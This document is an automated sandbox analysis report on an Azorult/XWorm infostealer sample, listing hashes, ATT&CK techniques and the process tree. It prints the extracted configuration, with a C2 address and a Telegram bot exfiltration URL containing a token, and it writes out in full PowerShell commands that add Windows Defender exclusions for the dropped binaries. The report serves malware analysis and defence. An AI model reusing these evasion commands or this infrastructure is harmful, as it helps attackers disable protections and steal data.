azorult | d6af1ba026c010e4d006842da28b478419bbc4c711f907a28c52079bc7fea1bf

Analysis

max time kernel
50s
max time network
52s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
01/09/2024, 16:27

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General

Target
Azorult 3.3‌.exe
Size 1.1MB
Sample240901-tyflrawblq
SHA256 d6af1ba026c010e4d006842da28b478419bbc4c711f907a28c52079bc7fea1bf
MD5 b91fe4c246efc048b78c9e162754a7a9
SHA1 15e1c4fe989290b07b60f93340476a9ba025bfa9
SHA512 4538a437fb2241ee38b1ab256618bbf2ea752bab92146fbf9138c6dd9585c5a5291155e19c6004372c925f300c0c7cfa87b7dfc467b556e8dbab092d8d04a2d2
SSDEEP 24576:KMyijQZ+ZJLXrfQRTJ6/aIRQbhB0LrKqk:/D0Z+ZZr4RT/I2dB0yqk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

azorult xworm discovery execution infostealer rat trojan

Malware Config

Extracted

Family

xworm

146.190.110.91:3389

Attributes

Install_directory
%AppData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot7023899363:AAFEzgbfWzhyE32Lf95TKSRYEYXMd4AfMyk/sendMessage?chat_id=6354844663

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/memory/2216-20-0x0000000000270000-0x0000000000288000-memory.dmp	family_xworm
behavioral1/files/0x000800000001ac40-14.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4636	powershell.exe
524	powershell.exe
3628	powershell.exe
5100	powershell.exe
4992	powershell.exe
4220	powershell.exe
1940	powershell.exe
3052	powershell.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.lnk	csrss.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.lnk	csrss.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe

Executes dropped EXE 3 IoCs

pid	Process
3836	Azorult 3.3.exe
2216	svchost.exe
4320	csrss.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Azorult 3.3.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2216	svchost.exe
4320	csrss.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
524	powershell.exe
524	powershell.exe
524	powershell.exe
3628	powershell.exe
3628	powershell.exe
3628	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4220	powershell.exe
4220	powershell.exe
4220	powershell.exe
1940	powershell.exe
1940	powershell.exe
1940	powershell.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
4636	powershell.exe
2216	svchost.exe
4636	powershell.exe
4636	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	svchost.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	4320	csrss.exe
Token: SeDebugPrivilege	3628	powershell.exe
Token: SeIncreaseQuotaPrivilege	524	powershell.exe
Token: SeSecurityPrivilege	524	powershell.exe
Token: SeTakeOwnershipPrivilege	524	powershell.exe
Token: SeLoadDriverPrivilege	524	powershell.exe
Token: SeSystemProfilePrivilege	524	powershell.exe
Token: SeSystemtimePrivilege	524	powershell.exe
Token: SeProfSingleProcessPrivilege	524	powershell.exe
Token: SeIncBasePriorityPrivilege	524	powershell.exe
Token: SeCreatePagefilePrivilege	524	powershell.exe
Token: SeBackupPrivilege	524	powershell.exe
Token: SeRestorePrivilege	524	powershell.exe
Token: SeShutdownPrivilege	524	powershell.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeSystemEnvironmentPrivilege	524	powershell.exe
Token: SeRemoteShutdownPrivilege	524	powershell.exe
Token: SeUndockPrivilege	524	powershell.exe
Token: SeManageVolumePrivilege	524	powershell.exe
Token: 33	524	powershell.exe
Token: 34	524	powershell.exe
Token: 35	524	powershell.exe
Token: 36	524	powershell.exe
Token: SeIncreaseQuotaPrivilege	3628	powershell.exe
Token: SeSecurityPrivilege	3628	powershell.exe
Token: SeTakeOwnershipPrivilege	3628	powershell.exe
Token: SeLoadDriverPrivilege	3628	powershell.exe
Token: SeSystemProfilePrivilege	3628	powershell.exe
Token: SeSystemtimePrivilege	3628	powershell.exe
Token: SeProfSingleProcessPrivilege	3628	powershell.exe
Token: SeIncBasePriorityPrivilege	3628	powershell.exe
Token: SeCreatePagefilePrivilege	3628	powershell.exe
Token: SeBackupPrivilege	3628	powershell.exe
Token: SeRestorePrivilege	3628	powershell.exe
Token: SeShutdownPrivilege	3628	powershell.exe
Token: SeDebugPrivilege	3628	powershell.exe
Token: SeSystemEnvironmentPrivilege	3628	powershell.exe
Token: SeRemoteShutdownPrivilege	3628	powershell.exe
Token: SeUndockPrivilege	3628	powershell.exe
Token: SeManageVolumePrivilege	3628	powershell.exe
Token: 33	3628	powershell.exe
Token: 34	3628	powershell.exe
Token: 35	3628	powershell.exe
Token: 36	3628	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeIncreaseQuotaPrivilege	5100	powershell.exe
Token: SeSecurityPrivilege	5100	powershell.exe
Token: SeTakeOwnershipPrivilege	5100	powershell.exe
Token: SeLoadDriverPrivilege	5100	powershell.exe
Token: SeSystemProfilePrivilege	5100	powershell.exe
Token: SeSystemtimePrivilege	5100	powershell.exe
Token: SeProfSingleProcessPrivilege	5100	powershell.exe
Token: SeIncBasePriorityPrivilege	5100	powershell.exe
Token: SeCreatePagefilePrivilege	5100	powershell.exe
Token: SeBackupPrivilege	5100	powershell.exe
Token: SeRestorePrivilege	5100	powershell.exe
Token: SeShutdownPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeSystemEnvironmentPrivilege	5100	powershell.exe
Token: SeRemoteShutdownPrivilege	5100	powershell.exe
Token: SeUndockPrivilege	5100	powershell.exe
Token: SeManageVolumePrivilege	5100	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2216	svchost.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3328 wrote to memory of 3836	3328	Azorult 3.3‌.exe	73
PID 3328 wrote to memory of 3836	3328	Azorult 3.3‌.exe	73
PID 3328 wrote to memory of 3836	3328	Azorult 3.3‌.exe	73
PID 3328 wrote to memory of 2216	3328	Azorult 3.3‌.exe	74
PID 3328 wrote to memory of 2216	3328	Azorult 3.3‌.exe	74
PID 3328 wrote to memory of 4320	3328	Azorult 3.3‌.exe	75
PID 3328 wrote to memory of 4320	3328	Azorult 3.3‌.exe	75
PID 2216 wrote to memory of 524	2216	svchost.exe	76
PID 2216 wrote to memory of 524	2216	svchost.exe	76
PID 4320 wrote to memory of 3628	4320	csrss.exe	78
PID 4320 wrote to memory of 3628	4320	csrss.exe	78
PID 2216 wrote to memory of 5100	2216	svchost.exe	81
PID 2216 wrote to memory of 5100	2216	svchost.exe	81
PID 4320 wrote to memory of 4992	4320	csrss.exe	83
PID 4320 wrote to memory of 4992	4320	csrss.exe	83
PID 2216 wrote to memory of 4220	2216	svchost.exe	85
PID 2216 wrote to memory of 4220	2216	svchost.exe	85
PID 4320 wrote to memory of 1940	4320	csrss.exe	87
PID 4320 wrote to memory of 1940	4320	csrss.exe	87
PID 2216 wrote to memory of 3052	2216	svchost.exe	89
PID 2216 wrote to memory of 3052	2216	svchost.exe	89
PID 4320 wrote to memory of 4636	4320	csrss.exe	91
PID 4320 wrote to memory of 4636	4320	csrss.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Azorult 3.3‌.exe
"C:\Users\Admin\AppData\Local\Temp\Azorult 3.3‌.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Users\Admin\AppData\Local\Temp\Azorult 3.3.exe
  "C:\Users\Admin\AppData\Local\Temp\Azorult 3.3.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3836
- C:\Users\Admin\AppData\Roaming\svchost.exe
  "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3052
- C:\ProgramData\csrss.exe
  "C:\ProgramData\csrss.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4636

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

csrss.exe

Path C:\ProgramData\csrss.exe
Size 30KB
SHA256 c33e1408ea96b9ea7a72d44d7742effb4a98776711b7c94c4997a155af61b220
MD5 0998890ccf8a3d8702db7a84fe6dd7b3
SHA1 18e561e0ef68fb08d8f391eacd45c7d573206b92
SHA512 8132312fb66a9d947eef3f625a4c18b8e640cec51616d0a9fd756e028d1bac5677f5de9a53c3ed32186cb238e8c46613b8c3d6641a6a953d7961412b030c6dd1
SSDEEP 384:QMK1UnhV9Om5/w5lbQAG5ZJqDdMM7HZ78b1DCjy1U2FAWK2arZn4127keu6LubZU:1KClMcT5nydv5gbcuw7Bt7kz6oZnfj
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
MD5 ad5cd538ca58cb28ede39c108acb5785
SHA1 1ae910026f3dbe90ed025e9e96ead2b5399be877
SHA512 c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13
MD5 SHA1 SHA512

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